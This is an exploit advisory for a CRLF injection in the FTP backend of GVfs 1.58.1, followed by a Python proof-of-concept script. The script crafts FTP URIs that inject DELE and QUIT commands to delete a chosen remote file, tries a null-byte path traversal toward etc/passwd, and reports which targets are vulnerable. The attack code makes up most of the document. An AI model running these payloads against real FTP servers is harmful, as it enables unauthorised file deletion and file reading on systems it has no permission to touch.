============================================================================================================================================= | # Title : GVfs 1.58.1 FTP Backend CRLF Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://download.gnome.org/sources/gvfs/1.58/gvfs-1.58.1.tar.xz | ============================================================================================================================================= [+] Summary : A vulnerability was identified in the FTP backend of GVfs CVE-2026-28296 due to improper input validation. A remote attacker can exploit this flaw by supplying specially crafted file paths containing Carriage Return and Line Feed (CRLF) sequences. Because these CRLF sequences are not properly sanitized, they allow an attacker to prematurely terminate legitimate FTP commands and inject arbitrary FTP commands into the session. This could result in unauthorized command execution on the FTP server, unintended file operations (such as deletion or modification), or other severe security impacts depending on the server configuration. [+] Potential Impact: Remote execution of arbitrary FTP commands Unauthorized file access, deletion, or modification Possible remote code execution (depending on server configuration) Security control bypass within the GVfs FTP handling layer [+] POC : #!/usr/bin/env python3 import subprocess import urllib.parse import sys import ipaddress import logging import argparse import json import shutil import os from dataclasses import dataclass, asdict from typing import Optional, Tuple, List, Dict, Any from concurrent.futures import ThreadPoolExecutor def setup_logging(verbose=False): log_format = '%(asctime)s - %(levelname)s - %(message)s' logging.basicConfig(level=logging.DEBUG if verbose else logging.INFO, format=log_format) forensic_handler = logging.FileHandler('gvfs_forensic_debug.log', mode='w', encoding='utf-8') forensic_handler.setLevel(logging.DEBUG) forensic_handler.setFormatter(logging.Formatter(log_format)) logging.getLogger("").addHandler(forensic_handler) logger = logging.getLogger("GVfsAuditor") @dataclass class AuditResult: """Comprehensive data for deep analysis""" test_name: str payload_type: str uri: str returncode: Optional[int] stdout: str stderr: str status: str analysis: str class GVfsAdvancedEngine: """Advanced scanning engine supporting full data flow analysis""" def __init__(self, target: str, port: int, timeout: int): self._check_gio() self.target = target self.port = port self.timeout = timeout def _check_gio(self): if not shutil.which("gio"): raise RuntimeError("GIO tools not found. Please install glib2-tools.") def _execute_gio(self, uri: str) -> Dict[str, Any]: """Execute and log raw response for forensic analysis""" logger.debug(f"DEBUG_URI_EXEC: {uri}") try: proc = subprocess.run( ['gio', 'cat', uri], capture_output=True, text=True, timeout=self.timeout ) logger.debug(f"RAW_STDOUT: {proc.stdout.strip()}") logger.debug(f"RAW_STDERR: {proc.stderr.strip()}") return { "returncode": proc.returncode, "stdout": proc.stdout, "stderr": proc.stderr, "exec_status": "COMPLETED" } except subprocess.TimeoutExpired: return {"exec_status": "TIMEOUT", "stderr": "Operation timed out."} except Exception as e: return {"exec_status": "SYSTEM_ERROR", "stderr": str(e)} class GVfsProtocolAuditor(GVfsAdvancedEngine): """Security analyzer for compound and complex payloads""" def build_complex_payload(self, case_type: str, data: str) -> str: """Build hybrid payloads (UTF-8, Multi-CRLF, Null-Byte)""" if case_type == "ADVANCED_CRLF": payload = f"test.txt\r\nNOOP\r\nDELE {data}\r\nQUIT" elif case_type == "TRAVERSAL_NULL": payload = f"../../../{data}\0.jpg" else: payload = data encoded = urllib.parse.quote(payload, safe="") return f"ftp://anonymous@{self.target}:{self.port}/{encoded}" def analyze_deep(self, res: Dict[str, Any]) -> Tuple[str, str]: """Analyze both stdout and stderr to detect hidden responses""" if res["exec_status"] != "COMPLETED": return res["exec_status"], res["stderr"] combined_output = (res["stdout"] + res["stderr"]).lower() ftp_success_codes = ["250 ", "200 ", "221 "] ftp_fail_codes = ["550 ", "553 ", "501 "] if res["returncode"] == 0: if any(code in combined_output for code in ftp_fail_codes): return "PARTIAL_SUCCESS", "Payload reached server (confirmed by FTP code) but failed execution." if any(code in combined_output for code in ftp_success_codes): return "VULNERABLE", "Confirmed: Injected commands executed on remote server." return "ACCEPTED", "GVfs accepted the URI sequence, server response unclear." if any(k in combined_output for k in ["invalid", "character", "not supported"]): return "REJECTED", "Local GVfs mitigation active." return f"FAILED_{res['returncode']}", "Execution failed with non-zero code." def run_suite(self, target_file: Optional[str], json_out: Optional[str], threads: int): cases = [ ("Base_UTF8", "NORMAL", "audit_indoushka_test.txt"), ("Hybrid_CRLF", "ADVANCED_CRLF", target_file or "inouva.txt"), ("Null_Traversal", "TRAVERSAL_NULL", "etc/passwd"), ("Double_Encoded_CRLF", "NORMAL", "%0d%0aDELE%20test.txt"), ("Long_Buffer_UTF8", "NORMAL", "test_string" * 200 + "\r\nQUIT") ] print(f"\n{'Test Case':<25} | {'Status':<15} | {'Forensic Analysis'}") print("-" * 105) results = [] with ThreadPoolExecutor(max_workers=min(threads, len(cases))) as executor: future_to_case = { executor.submit(self._run_test, c): c for c in cases } for future in future_to_case: try: res = future.result() results.append(res) except Exception as e: logger.error(f"Thread Error: {e}") if json_out: with open(json_out, 'w', encoding='utf-8') as f: json.dump(results, f, indent=4, ensure_ascii=False) print(f"\n[+] Forensic Report: {json_out} | Raw Logs: gvfs_forensic_debug.log") def _run_test(self, case) -> Dict: name, ctype, data = case uri = self.build_complex_payload(ctype, data) raw = self._execute_gio(uri) status, analysis = self.analyze_deep(raw) print(f"{name:<25} | {status:<15} | {analysis[:50]}") return asdict(AuditResult( test_name=name, payload_type=ctype, uri=uri, returncode=raw.get("returncode"), stdout=raw.get("stdout", ""), stderr=raw.get("stderr", ""), status=status, analysis=analysis )) def main(): parser = argparse.ArgumentParser(description="GVfs Forensic Auditor (Advanced Suite)") parser.add_argument("target", help="FTP Host") parser.add_argument("--file", help="Remote file to target in complex injections") parser.add_argument("--port", type=int, default=2121) parser.add_argument("--out", help="Forensic JSON output") parser.add_argument("--threads", type=int, default=4) parser.add_argument("-v", "--verbose", action="store_true", help="Log raw payloads to file/console") args = parser.parse_args() setup_logging(args.verbose) try: auditor = GVfsProtocolAuditor(args.target, args.port, timeout=12) auditor.run_suite(args.file, args.out, args.threads) except KeyboardInterrupt: sys.exit(0) except Exception as e: logger.error(f"Fatal Error: {e}") if __name__ == "__main__": main() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================